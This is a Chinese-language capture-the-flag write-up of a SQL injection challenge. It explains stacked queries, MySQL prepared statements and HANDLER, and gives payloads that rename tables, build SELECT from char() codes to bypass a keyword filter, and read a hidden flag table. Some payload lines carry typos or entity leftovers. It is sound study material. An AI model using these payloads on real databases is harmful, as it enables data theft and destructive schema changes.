文章目录
前言
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
前置知识
堆叠注入
在SQL中,分号;
是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
比如:
select flag from flag;select * from flag
它首先会执行前半部分,等前半部分执行完了以后则执行第二句话、
预处理语句
首先在介绍之前要先说一下即时sql
即时 SQL
一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL),具体如下
-
- 词法和语义解析;
-
- 优化 SQL 语句,制定执行计划;
-
- 执行并返回结果;
但是,在绝大多数情况下,如果需求某一条 SQL 语句被反复调用执行,或者每次执行的时候只有个别的值不同。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显降低了许多。这个时候就需要预处理sql
预处理SQL
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
简单用法:
使用方法
MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
字符串定义预处理
PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
ET @a = 3;
SET @b = 4;
EXECUTE stmt1 USING @a, @b;
变量定义预处理 SQL
SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
PREPARE stmt2 FROM @s;
SET @c = 6;
ET @d = 8;
EXECUTE stmt2 USING @c, @d;
DEALLOCATE PREPARE stmt2;
HANDLER命令
我觉得这篇文章还行https://www.jb51.net/article/88732.htm
,暂时了解一下吧,不做深入学习暂时
三种姿势
姿势一 ---- 常规堆叠注入
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。
首先老规矩输入1
加个单引号,报错
注释掉后面大概猜到表的结构了selsect id,data from words where id =
,并且是字符型注入
整一个万能查询,看一看
利用order by查询发现有2列
查回显位,哦吼出来的这个东西基本把能用的全搞掉了,难受,考虑堆叠注入
show tables
发现有两个表一个叫words
一个叫1919810931114514
show columns from
查询列
11';show columns from words#
,发现words下面有两个字段一个id
和data
1'; show columns from
1919810931114514; #
,得到其只有一个字段flag
根据前面的分析查询语句是selsect id,data from words where id =
,,这时候就想到了一个改名的方法,把words
随便改成其他名字,然后把1919810931114514
改成words
,再把列名flag
改成id
,结合上面的1’ or 1=1#就能够得到flag了
因此我们构造payload:
′
换成``符号
111′;rename table words to hhh;rename table &prime1919810931114514′ to words;alter table words change flag id varchar(100) ;#
姿势二—预处理语句
首先给出一个基本用法示例
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#
或者
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
姿势三 — handeler
涨见识了
';handler `1919810931114514` open;handler `1919810931114514` read first#
参考文章
堆叠注入详解
MySQL的SQL预处理(Prepared)
Stacked Queries
BUUCTF-Web-随便注(三种解题思路)
SQL Injection8(堆叠注入)——强网杯2019随便注